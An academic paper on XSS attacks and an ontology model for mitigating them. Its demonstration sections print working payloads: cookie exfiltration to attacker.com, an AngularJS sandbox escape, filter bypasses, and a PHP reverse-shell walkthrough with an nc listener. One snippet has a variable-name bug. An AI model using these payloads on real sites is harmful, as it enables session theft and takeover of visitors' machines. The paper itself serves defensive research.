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Abstract: In this work, we tackle a frequent problem that frequently occurs in the cybersecurity field
which is the exploitation of websites by XSS attacks, which are nowadays considered a complicated
attack. These types of attacks aim to execute malicious scripts in a web browser of the client by
including code in a legitimate web page. A serious matter is when a website accepts the “user-input”
option. Attackers can exploit the web application (if vulnerable), and then steal sensitive data
(session cookies, passwords, credit cards, etc.) from the server and/or from the client. However, the
difficulty of the exploitation varies from website to website. Our focus is on the usage of ontology
in cybersecurity against XSS attacks, on the importance of the ontology, and its core meaning for
cybersecurity. We explain how a vulnerable website can be exploited, and how different JavaScript
payloads can be used to detect vulnerabilities. We also enumerate some tools to use for an efficient
analysis. We present detailed reasoning on what can be done to improve the security of a website
in order to resist attacks, and we provide supportive examples. Then, we apply an ontology model
against XSS attacks to strengthen the protection of a web application. However, we note that the
existence of ontology does not improve the security itself, but it has to be properly used and should
require a maximum of security layers to be taken into account.

Keywords: cybersecurity; information security; web application vulnerabilities; cyber threats;
ontology model; XSS attacks; website security; semantic models and rules; ontologies

1. Introduction

The popularity of any given website at the present time, including its frequent use,
makes it a target for ill-intentioned people. According to a study showing the website
hacking statistics of 2019 [1], on average, a cyberattack happens in the world every 39 s.
This is very significant evidence of the vulnerabilities in cyberspace which can be and are
often exploited. Therefore, trying to minimize the attacks by firstly detecting the present
vulnerabilities and then taking measures to mitigate the attacks can be of great interest
(please see [2–4] for more information about cybercrimes, cyberattacks reports).

A serious danger arises when a web application facilitates or accepts a user’s input,
which is aggravated if it accepts that a user be registered. Therefore, if we pass the testing
phase undetected and then publish it, then it will be vulnerable to hackers with little or no
restriction to their access. There are many known vulnerabilities on the web which can be
used by attackers to crash or take control of a website, for example: stealing session cookies,
stealing credentials (usernames and passwords), credit cards, etc. These vulnerabilities
are very frequently targeted by “cross-site-scripting”, also known as XSS attacks. This is
going to be the core issue of this paper. A hacker may inject some malicious payloads
into a website in order to bypass the program’s intended functionality while inciting users
to click a link which then directs them to a trusted site; however, this link (set up by the
hacker) contains malicious script. Thus, we can say that the XSS attack is usually the result
of not using a proper data validation mechanism.

Of course, lots of security solutions have already been provided to face this problem,
e.g., web scanners detecting well-known security flaws with the help of “threat signatures”.
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However, some scanners lack semantics [5], that is to say they are not capable of making an
intelligent decision upon business logic flaws or data leakage, and are not very powerful in
detecting critical and novel vulnerabilities.

Intrusion detection systems (IDSs) can be considered scanners. These constitute a
type of software application that scans a system or a network to reveal policy breaching or
harmful activities. These monitor network traffic, raise flags for malicious or suspicious ac-
tivities, and send alerts to the administrator’s management system whenever such activity
is discovered [6]. Although IDSs monitor networks for potentially malicious activities, they
are also disposed to false alarms. Consequently, it is required that organizations or compa-
nies fine-tune their intrusion detection system products after their first implementation in
their system. This means setting up the IDS specifically to acknowledge or recognize what
normal network traffic resembles and reveal hostile activities.

Moreover, many network solutions only scan the headers of a user request while
ignoring the payload. Many programmers and computer security specialists have tried
to mitigate these attacks either through scanners, firewalls, encryption devices, etc. Un-
fortunately, however, due to the security level that is required for web applications, these
measures have been unable to fulfill the whole security requirements [7]. Therefore, this is
the point where the term “ontology” comes into play: the aforementioned measures are
schematized to cleverly understand the application’s context, the nature of the information
as well as the nature of possible attacks.

They can thus help us capture the exact specification of a security model. The ontology-
based techniques are able to specify web application attacks using semantic rules, the
context of consequence and the specifications of application protocols. The system is
capable of effectively detecting sophisticated attacks as well as efficiently analyzing the
specified portion of a user request where attacks could pose a threat.

In addition, an attack may take place from a point A, while the targeted device running
the vulnerable website is in a point B. In cybersecurity, this is of significant importance.
Attackers may use tools to exploit a weakness in the website. It can happen to any
computer all over the world. A hacker can attack computers from an Asiatic country
(e.g., in Kazakhstan) and control computers in a European country (e.g., France) while
physically they are in Canada [8].

Most of the time, organizations and companies implement some countermeasures
against cybersecurity threats in isolation. For sharing information locally and also be-
yond companies’ borders, each of them uses techniques which suit them best and/or
which they know about. It must be noted here that even though there are numerous
methods to mitigate and eliminate attacks, many of them may not completely fulfill all the
security criteria.

Therefore, it is very important to increase the awareness of the need to holistically
determine what types of information we tend to divulge as output when a request is made,
as well as which methods we use to analyze the request in order to maintain the whole
security system to a high standard.

To address this aspect of security, we consider an approach that requires to know “who
uses, what type of information, (encrypted/non-encrypted is one of the types), for what
purposes”. Thus, we should build an cybersecurity ontology of the functional information
on cross-site-scripting attacks. Ontology is a very confusing term. In computer science
(cybersecurity), a good definition is “it is a well-structured diagram which consists of a tree
of classes, class inheritance, class relationship”.

The rest of this paper is organized as follows: Section 2 provides steps for verifying
whether a web application is vulnerable to XSS attacks and analyzes the different types of
XSS attacks as well as some analytical techniques used in this context. Section 3 illustrates
the occurrence of the attacks with a few examples using a particular website for the
demonstration. The importance of using ontology, its definition and its advantages are
described in Section 4. The output of our proposed ontology is also provided in Section 4,
along with the benefits and disadvantages of using ontologies in cybersecurity. Section 5
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summarizes some related works. Section 6 provides the limitations and contribution and
finally, Section 7 provides our future work and concludes the paper.

2. Different Types of XSS and Procedures to Detect If a Web Application Is Vulnerable
to This Attack

The best way to know if your web application is secure against XSS attack is to test it.
After testing, it is necessary to determine your coding and implementing tools to prevent
XSS attacks to your website. Firstly, there exist three main types of XSS attacks:

(1) Stored XSS attack (also known as Persistent XSS attack, the most dangerous one),
which results from malicious payloads which are stored and stay in the database of the
web application. The attack is described in Figure 1 [9]. For example:

A “search” field where a user can input a JavaScript/HTML code in search text box,
“Login, Registration, Comments etc.” At least one of these cases should be present in one of
the web pages of that website. Here we have a scenario: the adversary usually injects their
codes or simply their payloads in the “Comment” field of a target website. Automatically
by pressing “Enter”, or clicking “Submit” button, their comment gets published, and other
users can see it. So their post gets stored in the database, and/or in the “file system, or
other object” of that website which he posts on. Thus, any click-view of that data launches
the vulnerability exploitation, which means the referenced user is attacked.

Figure 1. Stored XSS Attack.
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Brief explanation:

- The attacker posts their comments (malicious JavaScript payload) onto a blog site, for
example. When a user navigates on that particular website, he gets served with the
malicious code snippet of the attacker as a part of the original web page (of that blog).

- Thus, unknowingly, while the victim (our user) visits the site, he is at risk of running
that code. This is where the “sanitization, user-input validation” comes into play with
the top importance. <script>document.location=’https://attacker.com/cookie=’+encodeURI
Component(document.cookie)</script> [10].

(2) Reflected XSS attack, commonly called “Non-persistent XSS attack”, is the most
common one, although it is not the most dangerous one. Basically, the attacker crafts a
malicious link, sends it to several desired victims via email, and entices them to click on
the link—where the attacker captures victims’ browsers. A clever hacker usually makes
that malicious link either obfuscated or shortened.
There is also “Self XSS” attack. While the Reflected XSS attack is triggered by sending a
link to a targeted person with inputs which are reflected to the browser, there is no link
involved in the Self XSS - that is why in this case the “Reflected XSS” attack is referred to
as the “Self XSS” attack.

(3) DOM Based XSS attack, also called “Type-0 XSS attack” could be regarded as a
special type of the Reflected attack. Both are triggered by sending a link to a target person
with inputs which are reflected to the browser. According to Upasana Sarmah et al., a
DOM based XSS attack (Document Object Model) requires special attention because of
its nature. The big difference between the Reflected XSS and DOM-based XSS attacks is
that the payload of the DOM never reaches the server-side. It will only execute on the
client-side (browser).

2.1. Steps to Discover the XSS Vulnerabilities in Web Application

We have to be aware that XSS attacks are a very serious and complicated topic.
Detection of XSS vulnerabilities in a website requires a lot of penetration tests, based on
the difficulty that one may find in each page of that website. The difficulty relies mostly on
how the particular web application is using proper measures to fight against the attack.
Therefore, analysis of the reflected codes of payloads in a Document Object Model (DOM)
is necessary. Using the steps below (Figure 2) to check if a web application is vulnerable to
XSS attack, (according to the author Gupta) could be a good way to start.

- Open up your web browser and access a particular website to test. In that web
application, look for parts which require input, like search fields, comments, etc.

- Now, enter any string into these spaces and press “enter” to submit that string to the
web application server.

- Now, we can read carefully to check if the first condition holds. The first condi-
tion states that “test the HTTP response web page of the server for the exact string
which was submitted by the visitor (user)”. Consequently, if that HTTP response
includes the same string, then the web application can be exploited by XSS attacks.
Else, if that HTTP response does not include any user-input string, then check for
the next condition.

- The following condition states “just enter any JavaScript string, and send it to the web
server by pressing ‘enter’ ”. e.g., <script>alert(123)</script>

- After sending that string to the server, if the server replies with the same string in a
pop-up window, then the website is exposed to XSS attacks. If there is no such reply,
then go for the next condition.

- The final condition is to, after pressing “enter” in the step right-above, view the source
code of that website and search if something looks similar to the JavaScript payload
entered. If any ingredient of that string is found, then the web application is exposed
to XSS attacks.
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Figure 2. Steps to discover XSS attacks.

There is also a “Blind XSS”. It is a subset of stored XSS, where an attacker blindly
deploys malicious payloads in web pages that are stored persistently on the target servers.

Most of the XSS detection techniques used to detect this vulnerability are inadequate
to detect blind XSS attacks. A machine learning based approach can be fully used to detect
blind XSS attacks. Testing results help to identify malicious payloads that are likely to get
stored in databases through web applications.

Analysis Techniques Used for Detection of XSS on the Client-Side and on the Server-Side

The detection approaches can be: (a) Static Analysis, (b) Dynamic Analysis, (c) Hybrid
Analysis, (d) Data-driven Analysis. The settlement of a defense mechanism on the client
side can be established either on the client’s browser as filters or plug-in, or even on a
proxy server.

(a) Static Analysis
According to Chess and McGraw, the static analysis method mainly focuses on the

website’s source codes. It scrutinizes the codes for potential detection vulnerabilities.
It is obvious that code analysis is a must, since XSS attacks occur in web applications and
the whole article is about cybersecurity. However, what we have to differentiate is the fact
that the static analysis does not aim at penetration testing to inject payloads.

XSS filters are examples of static tools. The idea is that in the Reflected XSS attack,
the script dwells in both HTTP Request and Response which are exchanged between the
client and the server. Giorgio Maone [11] introduces another XSS filter known as NoScript.
It works as add-on. They are widely available for Firefox and Seamonkey browsers. It
allows the execution of Flash, Java, JavaScript and other plug-ins only if they are from an
acceptable, trusted source selected by the user [12]. For more information about static XSS
detectors, please see [13,14].

Rao et al. 2016 proposes the XBuster filter which was used as an extension to the
Firefox browser. It essentially employs a substring matching algorithm. The main task
of the XBuster filter is to scrutinize the JavaScript and the HTML contents which are in
separate HTTP Requests.
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However, the work of Nguyen, Maleehuan, Aoki et al. (2019) [15] demonstrates that
static tools have false positives (vulnerabilities detected that really do not exist) and false
negatives, meaning that real vulnerabilities not found. Therefore, a final audit of a Security
Analysis Static Tool (SAST) tool report is required to confirm each security vulnerability.

For more information about benchmarking static analysis tools, please see page 1558
from the book [16].

(b) Dynamic Analysis
This technique focuses on penetration testing. It tries different payloads on the web-

site’s possible injection points, and also it makes some extra analysis based on responses.
(c) Hybrid Analysis
This category is a combination of the two analyses above (static, and dynamic).

It strengthens the security against XSS efficiently. According to Upasana Sarmah [11],
computationally static methods are more expensive and suffer from the incapability to
make definite decisions. Pan and Mao made the update of their framework, in 2017, aiming
to bring solutions to DOM-based XSS attack in the browser extension. That new one is
called the DOM-sourced XSS attack, and it proposes to use hybrid analysis.

(d) Data-driven Analysis

Besides static and dynamic methods, there exists “data-driven” analysis. It is a new
and popular technique developed for cybersecurity analysis. Data-driven analysis is used
to analyze the XSS payloads instead of analyzing website vulnerabilities.

Apart from DOM-based XSS attack, the two others (Reflected and Stored) occur due
to a low security level on the server-side. Again, as described above, it involves the same
techniques described above. Gupta 2018 [17], proposes XSS-Secure detection for XSS
worm propagation. It is a service provided for the Online Social Networking (OSN-based)
multimedia websites on a cloud platform.

3. Demonstration of the Attacks (Reflected and Stored XSS)

In this section, we selected three (3) examples from our lab training to briefly demon-
strate how the attack works before stepping into the following chapter.

To begin, as we have stated in the previous chapters, XSS attacks are complicated.
There exist hundreds of payloads that can be used to inject into the web application for
testing. Depending on where and how the payload is reflected in the DOM HTML, you
will have to know which payloads are more suitable for exploitation after detection. For
more information, please see [18]. We use Kali Linux and Burpsuite Professional for the
testing. Importing a valid or legitimate certificate onto the chosen browser allows us to get
the HTTPS protocol to communicate with Burpsuite. For more information, please see [19].

(1) In this first demonstration, we are going to perform a reflected cross-site-scripting
to escape totally the framework AngularJS sandbox, means with no injecting strings. Note
that, we cannot know if the payload injected is reflected in an AngularJS block unless we
perform a dynamic analysis to the web application in question. Here, when launching the
payload <script>alert(’1 !@#%&̂*()_+"${}Yes"/ ’)</script>, we see that all characters are
coming as entered without being escaped, except the double quotes, apostrophe and the
angle brackets which are encoded.

Note that, if you want to use a proper payload of JavaScript, make it simple as for
example <script>alert(3)</script>. We use the payload above in order to detect which
characters are escaped from that particular website through burpsuite before the re-injection
of another payload.

In the previous figure (Figure 3), we detect that our payload appeared in burpsuite
inside the AngularJS module, inside the JavaScript template, and the attack is not executed.
One of the best way to solve this, is by escaping totally the “AngularJS” block and perform
an alert without using the Evaluate/Execute function, hence eval() function, since we are
trying to avoid strings.
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Figure 3. Escaping AngularJS framework.

Note: JavaScript eval() function evaluates or executes an argument too. The first action
is taken when the argument is an expression. If the argument is a JavaScript statement,
then it executes the statement.

Avoiding strings would require us to use conversions. For this purpose, we use
JavaScript String fromCharCode() method to convert our intended string for the payload
to charCode. For more information about fromCharCode, please see [20].

If the box at the very start gets escaped, we will not be able to write strings. How
are we going to write the JavaScript payload <script>alert(2626)</script>? For this, we
will need some conversions. The reason is that, we have to bypass/escape the AngularJS
framework with have no strings.

To do so, we efficiently break the AngularJS sandbox by using toString() method and get
the string prototype while we overwrite it with charAt joint as an arrary (charAt%3d[].join;)
by unicoding “=” entities. Afterwards, we passed an array to the “orderBy” filter, and set
the argument to the filter to create the conversion.

By overwriting the function using the [].join technique, we have the charAt() function
return all the characters that have been sent to it.

The scheme formula to bypass the AngularJS sandbox is as below:
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.from

CharCode(value1, value2, value3, ...value_n) = 1
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Having your alert function in your mind, you can go to your NetBeans (an open-
source integrated development environment (IDE) for developing with Java, C++, PHP,
C# and other programming languages), or any other such as Visual Studio to convert it to
charCode. Open up a HTML project for example, paste the code below in the body and
run it:

<p id="Jean" class="blabla"></p>

. <script>

. var txt = "";

. var theArray = ["y","=","a","l","e","r","t","(","9",")"];
//Create a function:
. function theFunc(value, index, array){
. txt = txt + value.charCodeAt() + ", ";
}
. theArr.forEach(theFunc);
. document.getElementById(“Jean”).innerHTML = txt;
. </script> .

The above code converts your desired payload string you intend to inject after the
Search= in burpsuite to an array of numbers known as charCode.

Now, you can replace the values from .fromCharCode with the array. It will become
like this:

1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.from
CharCode(121,61,97,108,101,114,116,40,57,41)=1

Because we have overwritten the charAt function, AngularJS will allow our numbers
in the array. Note: if you put space between the numbers in the array and equal to true, it
will not work. You would have to encode the “space” as well.

Now go back to your burpsuite “Repeater –> Request” tab, erase your previous
testing payload after GET /?search= HTTP method and paste the payload right above there,
leaving the HTTP/1.1 unchanged.

Execute the attack again by clicking on “Go”. Check now your “Response” area in
burpsuite to see how it appears. Right-click on the blank “Repeater, Response” page,
choosing “Request in browser” –> “In current browser session”, copy the URL and paste
it onto your browser, and voilà! The exploit is complete.

Now, since we see it is vulnerable to XSS after bypassing the AngularJS block with-
out string, we can construct a more dangerous attack to get information from that web
application, not only just trigger an alert. See Figure 4.

Note that, AngularJS executes escaping automatically for any variable included in
curly braces and for the appropriate context such as HTML, URL, CSS, etc. Furthermore,
this execution is made without requiring a programmer to use special syntax. It is not
always easy to exploit this framework (now known as Angular, please see [21]), as it has a
built-in protection from XSS attacks. However, it is still possible by having a deep research.
One of the most frequent way to deliver unsafe HTML in AngularJS framework is by
explicitly turning off the sanitization by calling the following function $sce.trustAsHtml()
on the variable content and use ngBindHtml directive inside the template. However, we
are not going to focus too much on it; for more information, please see [22].

(2) One of the steps to take first when it comes to finding hidden information on a
web page, is by going through “inspect element”, or something similar and/or “view the
source code” by right-clicking on that web page. After clicking on inspect element”, we
can highlight the “html” section (in that inspect element block), then right-click and choose
copy the “outer HTML”, and paste it to an empty file in order to read the code completely.
Always remember to do this step, and “view the source code” of a page when trying to test
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a web page or to find something inside. When we make a copy like this, we sometimes
find more information than just going through “View source code”.

Figure 4. Escaping AngularJS framework using fromCharCode conversion.

Usually the steps for injecting payloads into a web page for detecting if it is subject to
some XSS attacks are very specific according to how the payload is displayed to you in the
DOM-html page. If our payload is reflected within tags, we can always try to close the tags
first and re-inject our JavaScript payload. See how the payload is reflected into the page in
the following Figures 5 and 6:

Figure 5. DOM-XSS demonstration.

If the tag were opening with a single, double quotes for example, before closing it, we
would have to close that character as well a long with that particular tag in question.

As we see in the image above, the web page uses the JavaScript document.write
function to write data out to the page.

This function is called with data from “location.search”, which we can control using
the web application URL. <img src=“/resources/images/....”>



J. Cybersecur. Priv. 2021, 1 328

So, the payload will be "><script>alert(342)</script>
If by accident it has some filters, you can always try a payload with SVG as well as below:
"><svg onload=alert(2343)>

Figure 6. DOM-XSS demonstration in document.write.

(3) Sometimes, there might be some situations where a filter blocks some characters,
tags (angle brackets, double quotes, single quotes) and escape some other characters. So,
to know what to do, as usual, we make a connection with a browser and the burpsuite,
then inject a payload in the appropriate area (after the “=” in GET/POST HTTP method in
burpsuite “Repeater” tab. In our case, while injecting the JavaScript code, we encode the
angle brackets and the double quotes as a HTML-encoded type and inject this code into
the vulnerable user-input area: http://foo?&apos;-alert(1)-&apos

The reason why we use the payload above is because that, we want to bypass inside
event by using HTML encoding. Since when we tried to inject payloads we found that the
vulnerable user-input area reacts according to our needs, then we do not have to encode
any HTML in the other areas, but rather inject a URL form with “http://”. Note that, the
payload (the HTML entities) is only this &apos;-alert(1)-&apos;

Furthermore, also note that any kind of html encode could be valid as well, such as:
HTML hex without zeros &#x27-alert(1)-&#x27
HTML dec without zeros &#39-alert(1)-&#39 or
HTML dec with zeros &#00039-alert(1)-&#00039
Anyone who goes to that particular website and clicks on “View Post” or something

similar, will have the alert trigger on their page, hence the attack is executed.
Imagine a situation where an attacker can upload some files onto a vulnerable website

where it has some vulnerable user-input areas such as, a post or a comment section. The
attacker can get control over any client’s computer by viewing their post using “Reverse
Shell with XSS”.

The adversary may open their kali linux machine, and change their mac address to a
random address (in case of pursuit). Then change the following file “usr/share/webshells/
php/php-reverse-shell.php” content according to their kali machine local IP address by
choosing any port number which the communication will be listening on, and upload the
.php file to the server (note that, many web applications (even if vulnerable) often prevent
.php files from being uploaded to their server). For more information how to bypass this,

usr/share/webshells/php/php-reverse-shell.php
usr/share/webshells/php/php-reverse-shell.php
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please see [23]. Therefore, the file being stored on the server, now the attacker can inject
their payload created with the file URL to the vulnerable comment section as the following
example:

<script>window.location=’http://192.168.1.4/path/.../php-reverse-shell.php’</script> and
click “Submit”, or something similar. The attacker has now just to let their computer open
and be on listening using this netcat command “nc -nlvp the_same_port #_as_in_the_php
_file”. After catching a user, he may type “whoamI”, "python -c ’import pty; pty.spawn("/bin/
sh")’" to have a "/bin/sh" shell, "ID" without double quotes in the netcat terminal to get
more information. You might wonder how to escalate the admin privileges or view files, if
so please refer to [23].

Similarly, an attacker may use “metasploit” framework to exploit the XSS vulnerabili-
ties and get control of a user’s computer through “meterpreter”.

The attacker may create any payloads of their choice and embed it into the XSS
suffering web-page and just wait for a visitor. For example:

<script>window.location=’http://192.168.1.4:8080/some_file’</script>
As a result, we clearly see how an adversary can use some tools and payloads to attack

a vulnerable web application. In the following chapter, we are going to use the concept of
“ontology” to mitigate the XSS attacks. The term ontology itself, requires a lot of security
layers to be put in place and in order, a proper description, separation of duties and lots of
other requirements.

4. Ontology and Semantic Web

In the previous chapters we have seen few examples of how the vulnerabilities can
be detected by an attacker, and how he can exploit them by inserting some payloads to
jeopardize a system. It is crucial to fight against the adversary by implementing significant
techniques and approaches to enhance the security and mitigate the attacks. The ontology
approach is a powerful method which we can start with.

Globally, an ontology is a formal and explicit specification of a set of concepts in
a specific field of interest. The explicit specification of those ideas (concepts) is mostly
presented in the form of a well-structured diagram composed of classes and sub-classes
based on their inheritance, attributes and relationship.

Ontology can be designed to allow data to be shared and reused across applications,
companies, and so on. Depending on the topic in question, one can use ontology for
improving their system. In a hospital for example, one can use ontology for diabetes,
COVID-19, pregnancy, Alzheimer, etc. The research of Alba Gomez-Valades (2021 [24]) was
built for Alzheimer for instance. Sina Karimi et al. (2021 [25]) have introduced an ontology-
based approach to data exchanges for robot navigation on building sites. Zouri and A.
Ferworn (2021 [26]) have introduced an ontology-based approach for curriculum mapping
in higher education. Furthermore, the last but not least, Luca Singels et al. (2020 [27]) have
introduced a formal concept analysis driven ontology for Industrial Control Systems (ICS)
Cyber threats.

Ontologies are very usefull in such a way that they give an extension to shared data
among systems, subsystems. They provide a conventional conceptualization of elements
and their relationships. Using ontologies in a system can be considered as an explicit source
of knowledge to improve its run-time operation [28].

This technology was historically tied to the Semantic Web. A vast number of ap-
proaches have already proved the value of design patterns to create domain ontologies
reusability (Musen [29], or Sattar, 2021 [30]) and Reusing ontologies on the Semantic
Web (Elena Simperl, 2009 [31]), as well as the implementation of them to figure out the
problem-solving strategies (Gil and Melz, 1996 [32]). Conceptualization of ontologies and
applying them in a company setting is a complicated and tough task due to the problems
of data integration (Ziegler and Dittrich, 2004 [33]) and the evolution of domain (Benom-
rane et al., 2016; Dietz, 2006 [34]). For the validation of system models, Semantic Web
technologies are very well used also in workflow (Khouri and Di- giampietri, 2018 [35];
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Pascal Hitzler, 2021 [36]). When merged with a model-driven design or feature modeling
(Wang et al., 2007 [37]), the ontology adds the benefits of suitable semantic and reasoning
capabilities over its structure. The integration and consolidation of ontology in software
development is sometimes seen as a challenge (according to Baset and Stoffel, 2018 [38]).
Ontology-based Data Access (OBDA) was introduced to address the issues associated
with data integration and ontology evolution (Poggi et al., 2007 [39]). They formalized the
OBDA ontology using Description Logic (DL) as in (Leif Sabellek, 2020 [40]; Maedche et al.,
2003 [41]; Baader, 2003 [42]; Hustadt et al., 2004–2005 [43], Marie-Christine Rousset et al.,
2009 [44]). According to LeClair and Khedri, 2016 [45], DL only facilitates a single context
of the concepts, which further limits the reasoning abilities.

4.1. Ontology Technologies and Components

Since the early 1990s, the term “ontology” has become a research topic in artificial
intelligence, including natural language processing, knowledge engineering, and knowl-
edge representation. Recently, it has also become common in areas such as intelligent
information integration, cybersecurity, information systems, information retrieval, and
knowledge management [46].

All developed ontologies should be stored in order to be accessible by other system
components. Subsequently, a reasoner (OWL, Web Ontology Language) is required to
inferlogical consequences from illustrative or descriptive logics. Such a reasoner acquires
new statements from given statements and then extends the ontology with new state-
ments. Usually, designing an ontology from scratch in a way that causes the inference
engine (or inference facility) to generate intended logical statements for its main goal is
a challenging task. Hence comes the importance of the feature “reusability” of the on-
tology. The meaning of “inference engine” can be briefly summarized as a software that
is created to be able to process data stored in a knowledge base (Domain), and find the
in-depth query from such a domain (Wang 2020 [47]). The analogical tool created for
the semantic web technology aims to process the information (data) in the form of the
ontology to find the in-depth relationships from the ontology. At the present time, Pellet,
Hermit, KAON2, RDFStore, Racer DL are some well-known examples of the analogical
tools (see KITTIPHONG 2020 [48] for more information).

The typical ontology components are:

• Individuals: situations or things.
• Categories: concepts, types of objects.
• Features: aspects, class, properties, instances or parameters that objects (and cate-

gories) can contain.
• Relationships: ways in which individuals and groups can communicate.
• Constraints: the formal description of what must be true until some insertions are

accepted as inputs.
• Axioms: assertions, statements (including rules) in a logical form that form together

the comprehensive theory that is illustrated by the ontology in their domains.

4.2. Ontology Structure Definition Language

Ontology definitions are described in Resource Description Framework, commonly
known as RDF, and RDF Schema (RDFS). They are also described in OWL languages
developed by the W3C. Resource Description Framework is a standardized structure
for describing the web-based metadata. It is usually used to illustrate the data and its
relationships in areas of interests based on the elemental prototype from graphs with the
Extensible Markup Language (XML) language, while the RDFS is all about the description
of the structure of metadata [48].

In brief, the Ontology Web Language (Nilavu, 2015 [49]) is a language that can de-
scribe relational data in a database system, it can also define hierarchical data structures.
Additionally, OWL can support narrative of logical data, data types. As we have said in the
previous pages, the description is in form of classes, sub-classes, class property, class inher-
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itance, and the relationships. Therefore, OWL is considered as the language that enables
the description of the semantic data in a better way, as well as the relationship structure of
the system comparing with other languages (please see [48] for more information).

4.3. The Reasons of Using Ontological Approach

Ontology is an attractive proposition for converging the description of a data model
and the related rule base into a single application (Nicholas Charles Nicholson, et al., 2021 [50]).
Ontologies developed in Web Ontology Language derive many advantages afforded by
the semantic web stack. The aim of OWL is to represent complex, intricated knowledge of
entities in a domain through a logic-based language, through a computational, such that
the knowledge encapsulated can be verified for steadiness, consistency or utilized as a
basis for inferences on that particular knowledge. Flexibility in defining any concept to the
intended level of details is a well-known property of the ontological model. Many reasons
can be highlighted, and we listed a few below:

(a) To share common understanding of the structure of data, information between
people or software agents.

To enable reuse of domain knowledge (Domain, in this perspective means the most
general classes, the knowledge base. Classes are divided, subdivided further into many
leaves of the hierarchy.).

(b) To make domain assumptions (or suppositions) explicit.
(c) To separate domain knowledge from the functional/operational knowledge.
(d) To analyze domain knowledge [51].
A variety of issues may emerge when a non-ontological approach is used.

• It is usually a good practice to use detection tools which are proactive. Many web
application attack detection tools are reactive, which means they are sensible to the
specific rules placed or set up by the administrator. The attack can only be halted if
the precise signature of the attack is not only recognized by the system scanning, but
also be present.

• It is easy for an adversary to launch an attack by a slight alteration of the signature,
since most existing methods are signature based, which hold the syntax of the attack.

• Statistical methods used in Intrusion Detection Systems mainly provide a feasible
solution for the network layer. However, this solution is not efficient at the application
layer because it focuses on the character distribution of the input and does not really
take into account its contextual nature.

4.4. Cybersecurity Ontology

At first glance, ontology is a confusing term. Its standard definition can be described
as the branch of metaphysics which deals with the nature of being. The term “cybersecurity
ontology” might remind you of the philosophical concepts. Yet it has nothing to do with
philosophy. Cybersecurity ontology is not a new concept, it was first coined by Carnegie
Mellon University’s CERT program few years ago, around 2012. In a cybersecurity context,
though, ontology can be summed up as below:

Objects of the science of cybersecurity usually correspond to the attributes of a
network of computers, security policies, tools, methods of cyberattack and of defense
(Kott 2014 [52]). Since ontologies are well-structured formal models of a domain, it is im-
portant to implement ontologies of relations and attributes to transform cybersecurity into
science (for more information about the ontology of cybersecurity, please refer to [53,54];
Mariana G. Cains, 2021 [55]). The most eminent feature of a cybersecurity ontology is that
the relationship between all items in the ensemble/set are illustrated. The idea behind
the term is the need for a common language that involves or embraces basic concepts,
convoluted relations and essential ideas. Therefore, building a proper cybersecurity ontol-
ogy, the cyberspace community can effectively develop a shared comprehension regarding
the essential ideas of the topic in question. The “reusability” of ontologies is a significant
feature . It facilitates the cybersecurity professionals to make better and faster decisions,
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since they already got a valuable insight of how the relationships between events, concepts
are schematized. A Domain Information System (Marinache, 2016 [56]) can be used to
formalize an ontology-based system.

A Domain Information System consists of mainly three components which are:
(1) ontology (for the well-structured classes), (2) data (the information which composes the
tree), and (3) an operator which is usually used to map data to the ontology.

4.4.1. Results—Reference Ontology to Address the XSS Attacks in Cybersecurity

To better address the ontology for detecting and mitigating the XSS attacks on a web
application of an organization (company, schools, etc.), we assume that everybody who
uses the company’s website to contact the administrative system, and/or navigates on is
an attacker. Therefore, it is crucial for the system’s administration to set up a good security
system which may include:

Information security engineers, which are working mostly at the back-end side of
a domain server. Programmers, which have to carefully avoid risky tags, attributes in
their source code, etc. Website administrators, which have to control how requests tend
to enter the website server, how the requests are stored, how the outsiders receive their
responses after a request is made. Very important is to be ensured how the website reacts
after a request is made. This last property helps to fight the DOM-based XSS attack. Being
analysts also, they have to be like requests reviewers, detectors before acting as a response
team. They have to review, analyze any user-supplied inputs and set up powerful software
that may help them.

The following diagram shows the presence of vulnerabilities likelihood, technol-
ogy used by the attacker for the testing, the possible exploitation, information gathering
(scanning, logs and audit) by the system’s administration, security level, system com-
ponents affected, and rules/policies for mitigation; all this is detailed in the next figure
(Section 4.4.1).

The output of our proposed ontology is illustrated as follows:
The purpose of this ontological model is to improve the security, but it must be

properly used. On this, this model is a 2-way descriptive in such a way that, it tells the
administrator what will be next if the negative steps are taken and in creating a website or
onto an existing website, and in managing the back-end side (server). At the same time, if
proper implementation is considered, then the system is at low risk.

The described ontology scheme is reusable and it can also be applied to some other
attacks, such as SQL injection.

The knowledge supported by using ontology consists of many benefits over the
schematic pattern matching approaches and allows attack attenuation/mitigation through
the intelligent decision making and the process of reasoning [57].

The description of the diagram (Figure 7, Section 4.4.1) consists of four (4) main parts:
1—Technology: This class consists of all the tools selected by the attacker to deploy

attacks. Utilization of some other technologies may vary depending on the attacker’s
objective. It is described in the left-side of the diagram.

2—Security level: This class characterizes the security performance. The behavior of
the system after possible requests have been made by the attacker. The diagram explicitly
predicts the behaviour of the web application if the security measures are well-implemented
or not well set. Assuming a good configuration of the system, then the likelihood of getting
exploited is very low, thus the system audits, logs and gives alerts to the administrator.
Assuming the security is low, then the likelihood of getting exploited is very high. The
attack will be successful, reacts on the client’s browser and does the intended job set by the
attacker. Therefore using this scheme represents a good help for any website developers
and administrative staff.

3—Administratrive’s management: This class consists of many subclasses. It can be
represented as the core supervision of all the tools used (data resources, human resources,
products for example). This sector can be controlled by either analysts, security engineers
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or programmers, commonly called administrators while having this task. In other words,
any personal whose the web application security configuration depends on them. Coun-
termeasures, tools and services, installation of security software, and configuration—all
these are to be executed in the heart of the application, the back-end side (the server and
database). The “Countermeasures” subclass is very important, since it is the place where
all the security measures are taken. It requires software engineers of the company to be
up-to-date, the need a system update which will fight against possible new attacks.

4—Validation mechanism: This class represents the barrier set by the security engi-
neers to check every input submitted from a client-side before the validation.

Since it is quite impossible to eliminate all XSS vulnerabilities prior to deployment
of an application (i.e., when writing the web-application codes), therefore penetration
testing and applying the ontology system including other dynamic analysis techniques
are highly recommended after the deployment to ensure recurrent and incessant testing
of the application. This will add on more protection from attackers and reduce the risk of
XSS incidents.

Many of the proposed ontologies focus their attention on covering specific topics.
According to Danny V. Silva [58], “63.33% of the ontologies reviewed have emphasized on
attacks, and 50% focused on vulnerabilities” (similarly to our ontology which is focused
on XSS attacks in cybersecurity, and it can be used for detecting attacks as well with the
help of audit-system, logs, notifications). As a result, since cybersecurity is an extremely
large topic, this ontology model is grounded on the bedrock of foundational techniques
and concepts; therefore, it is required to cover the entire network security domain (see the
reference, Section 5 by Glen Rodríguez) that is adaptable.

